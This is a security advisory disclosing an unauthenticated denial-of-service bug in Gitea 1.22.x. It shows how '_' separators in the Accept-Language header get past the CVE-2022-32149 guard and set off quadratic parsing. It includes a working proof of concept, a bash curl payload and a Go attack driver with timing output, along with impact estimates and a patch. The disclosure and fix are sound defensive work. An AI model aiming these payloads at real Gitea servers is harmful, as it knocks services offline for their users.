GHSA-fw57-jgch-pgf3

### Summary

The Locale middleware that runs in front of every unauthenticated request calls `golang.org/x/text/language.ParseAcceptLanguage` on the raw `Accept-Language` header without imposing a size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of `-` characters in the input at 1000, but it does not cap `_` characters even though the parser's internal scanner aliases `_` to `-` before parsing. A single unauthenticated GET request with an `Accept-Language` header built out of `_` separators burns ~2 seconds of server CPU on the host running Gitea; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~1 MiB of upstream bandwidth per request.

### Affected versions

`code.gitea.io/gitea` 1.22.6 and (per code inspection of `main`) all earlier and later 1.22.x / 1.23.x / 1.24.x / 1.25.x / 1.26.x versions that do not impose their own size limit on the `Accept-Language` header before calling `ParseAcceptLanguage`. Verified on:

- the official `gitea/gitea:1.22.6` docker image (E2E below) - `main` at commit `6f4027a6be28c876c0abaf37cc939658645b78a3` by reading `modules/web/middleware/locale.go` (the call site at line 38 is unchanged on `main`)

### Privilege required

Unauthenticated. The Locale middleware runs for every HTTP request including the landing page and the sign-in page.

### Vulnerable code

[`modules/web/middleware/locale.go:38`](https://github.com/go-gitea/gitea/blob/fc396f0808187c358b4fc15dcefcd6957140a780/modules/web/middleware/locale.go#L38) (blob SHA `fc396f0808187c358b4fc15dcefcd6957140a780`):

```go // 3. Get language information from 'Accept-Language'. // The first element in the list is chosen to be the default language automatically. if len(lang) == 0 { tags, _, _ := language.ParseAcceptLanguage(req.Header.Get("Accept-Language")) tag := translation.Match(tags...) lang = tag.String() } ```

`req.Header.Get("Accept-Language")` is the unfiltered HTTP header. Default Go `net/http` `MaxHeaderBytes` is `1 << 20` = 1 MiB and Gitea does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.

CVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters and rejecting inputs with more than 1000 of them. The guard does not count `_` characters even though the scanner converts `_` to `-` at parse time ([`golang.org/x/text/internal/language/parse.go`](https://github.com/golang/text/blob/v0.28.0/internal/language/parse.go)). A 1 MiB header full of 9-character `_aaaaaaaaa_aaaaaaaaa_...` tokens contains zero `-` characters, passes the guard, and then drives the scanner into the O(N²) `gobble` path. The fix author of CVE-2022-32149 treated `-` as the canonical separator; the `_` alias was added in 2013, nine years before the fix.

### How `Accept-Language` reaches `ParseAcceptLanguage`

Every Gitea HTTP request passes through `Locale` as it is wired up via the global request pipeline (Gitea registers the middleware on its router in `routers/web/web.go`). The middleware sequence is:

1. The request enters `Locale(resp, req)`. 2. `req.URL.Query().Get("lang")` returns "" (attacker omits `lang`). 3. `req.Cookie("lang")` returns nil on a fresh client (attacker uses a fresh client, or simply does not send the cookie). 4. `req.Header.Get("Accept-Language")` returns the full attacker-supplied header value. 5. `language.ParseAcceptLanguage(...)` runs unfiltered.

No size or character class filter is applied between (4) and (5).

### Proof of concept

Single-line bash reproducer that crafts the malicious header and times one request against a fresh `gitea/gitea:1.22.6` container:

```bash docker run -d --name gitea --rm -p 13000:3000 gitea/gitea:1.22.6 sleep 8

PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')" echo "header size = ${#PAYLOAD} bytes"

curl -sS -o /dev/null \ -w 'http=%{http_code} t=%{time_total}\n' \ -H "Accept-Language: ${PAYLOAD}" \ http://127.0.0.1:13000/ ```

Each 9-character `_abcdefghi` token has length 9, which fails the scanner's `len <= 8` tag-length check at `golang.org/x/text/internal/language/parse.go` and triggers a `gobble` call that `runtime.memmove`s the entire remaining buffer. With N invalid tokens the total bytes moved by `gobble` is O(N²).

### End-to-end reproduction (against `gitea/gitea:1.22.6`)

A Go driver `poc.go` that boots the container, sends a 1 MiB `Accept-Language` value once with `-` (CVE-2022-32149 guard fires) and once with `_` (guard bypassed):

```go // poc.go package main

import ( "fmt" "io" "net" "net/http" "strings" "time" )

const targetURL = "http://127.0.0.1:13000/"

func buildPayload(sep string, targetBytes int) string { const tok = "abcdefghi" var b strings.Builder b.Grow(targetBytes + 16) b.WriteString("en") for b.Len()+1+len(tok) <= targetBytes { b.WriteString(sep) b.WriteString(tok) } return b.String() }

func send(label, header string) { client := &http.Client{ Timeout: 60 * time.Second, Transport: &http.Transport{ DisableKeepAlives: true, DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext, }, } req, _ := http.NewRequest("GET", targetURL, nil) if header != "" { req.Header.Set("Accept-Language", header) } t0 := time.Now() resp, err := client.Do(req) dt := time.Since(t0) if err != nil { fmt.Printf(" %-32s ERR after %v: %v\n", label, dt, err) return } _, _ = io.Copy(io.Discard, resp.Body) resp.Body.Close() fmt.Printf(" %-32s header=%d B '_'=%d '-'=%d status=%d t=%v\n", label, len(header), strings.Count(header, "_"), strings.Count(header, "-"), resp.StatusCode, dt) }

func main() { send("warm-up", "") send("baseline (no header)", "") send("baseline (1 short tag)", "en-US") send("guard-fires ('-' x 1MiB)", buildPayload("-", 1<<20)) send("attack ('_' x 1MiB)", buildPayload("_", 1<<20)) send("attack repeat 2", buildPayload("_", 1<<20)) send("attack repeat 3", buildPayload("_", 1<<20)) } ```

Captured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the official `gitea/gitea:1.22.6` image with no other tuning):

``` E2E: golang/x/text ParseAcceptLanguage '_' bypass through go-gitea/gitea 1.22.6 Locale middleware at modules/web/middleware/locale.go:38.

Target: http://127.0.0.1:13000/

warm-up (no header) header=0 B '_'=0 '-'=0 status=200 t=18.079666ms

--- measurements (single request each) --- baseline (no header) header=0 B '_'=0 '-'=0 status=200 t=6.480333ms baseline (1 short tag) header=5 B '_'=0 '-'=1 status=200 t=5.0455ms guard-fires control ('-' x 1MiB) header=1048572 B '_'=0 '-'=104857 status=200 t=26.020625ms attack ('_' x 1MiB) header=1048572 B '_'=104857 '-'=0 status=200 t=2.159538333s attack repeat 2 header=1048572 B '_'=104857 '-'=0 status=200 t=1.938493583s attack repeat 3 header=1048572 B '_'=104857 '-'=0 status=200 t=1.679953042s ```

Interpretation:

| Request | Header bytes | Server time | |------------------------------------------|--------------|-------------| | no header / short tag | 0 - 5 | 1 - 7 ms | | 1 MiB `-` separators (CVE-2022-32149 guard fires) | 1 MiB | 26 ms | | 1 MiB `_` separators (guard bypassed) | 1 MiB | 1.7 - 2.2 s |

The `-` control proves that the existing CVE-2022-32149 guard does still work on the canonical separator: a 1 MiB `-` payload returns in 26 ms because the parser short-circuits with `ErrTagListTooLarge`. The `_` attack returns 200 from the same endpoint but consumes ~2 s of server CPU because the guard did not fire and the quadratic scanner ran to completion.

### Impact

- One unauthenticated client can pin one CPU core for ~2 seconds per 1 MiB request. - Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core Gitea instance indefinitely. - The endpoint returns 200 OK, so the attack does not surface as abnormal traffic in standard 4xx/5xx dashboards. - Self-hosted Gitea installations published to the public internet (the common pattern) are exposed.

### Suggested fix

Apply the size / character-class filter before reaching `ParseAcceptLanguage`. The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count `_` alongside `-` and short-circuit when the total exceeds a small ceiling:

```go // modules/web/middleware/locale.go const maxAcceptLanguageSeparators = 32 // matches typical real browser values

if len(lang) == 0 { al := req.Header.Get("Accept-Language") if strings.Count(al, "-")+strings.Count(al, "_") > maxAcceptLanguageSeparators { // Refuse to call into the BCP 47 parser with absurd input. al = "" } tags, _, _ := language.ParseAcceptLanguage(al) tag := translation.Match(tags...) lang = tag.String() } ```

A real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.

The underlying issue is in `golang.org/x/text/language`. A future upstream fix is the right long-term solution; the change above is defensive in depth at the only call site that consumes attacker input.

### Credit

Reported by tonghuaroot.